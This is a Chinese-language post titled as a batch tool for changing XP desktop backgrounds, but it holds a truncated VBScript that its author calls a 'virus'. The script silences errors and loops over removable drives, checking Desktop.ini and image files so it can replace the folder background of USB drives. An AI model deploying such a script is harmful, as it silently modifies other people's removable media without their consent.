批量修改XP系统桌面背景的BAT工具

'U盘背景rabbit病毒贺岁版     版权：DuDu
'该病毒为庆祝蓉蓉给rabbit起名1周月特别编写
'发布日期：2008.5.12

'这是DuDu为多媒体讲台定向编写的病毒，用来替换U盘背景。
'该病毒对普通U盘没有任何危害，但对使用老版★NiceBack★泛用型的U盘，背景会被修改

on error resume next
Set dudu = CreateObject("Scripting.FileSystemObject")
set YunXing=Wscript.CreateObject("Wscript.Shell")
mulu=left(Wscript.ScriptFullName,3)
set SFolder = dudu.GetSpecialFolder(1)

If dudu.FileExists(SFolder&"\背景.dudu") AND dudu.FileExists(SFolder&"\DesktopN.dudu") Then
Else
wscript.quit
End if


Do
WaitYesOrNo="Yes"
ShowFileSystemType = "abc"
Set dc = dudu.Drives
For Each d in dc
If d.DriveType = 1 AND d<>"A:" Then
If not dudu.FolderExists(d&"\我的文档\绝对领域\我的文档") Then
ShowFileSystemType = d.FileSystem
If (dudu.FileExists(d&"\Desktop.ini") AND not dudu.FileExists(d&"\rabbit.jpg")) OR (dudu.FileExists(d&"\rabbit.jpg") AND dudu.FileExists(d&"\Desktop.ini") AND (dudu.FileExists(d&"\背景图片.jpg") OR dudu.FileExists(d&"\背景图片.bmp "))) OR (ShowFileSystemType = "FAT" AND not dudu.FileExists(d&"\Desktop.ini")) Then
If dudu.FileExists(d&"\Desktop.ini") Then
Set desktopShuXing = dudu.GetFile(d&"\Desktop.ini")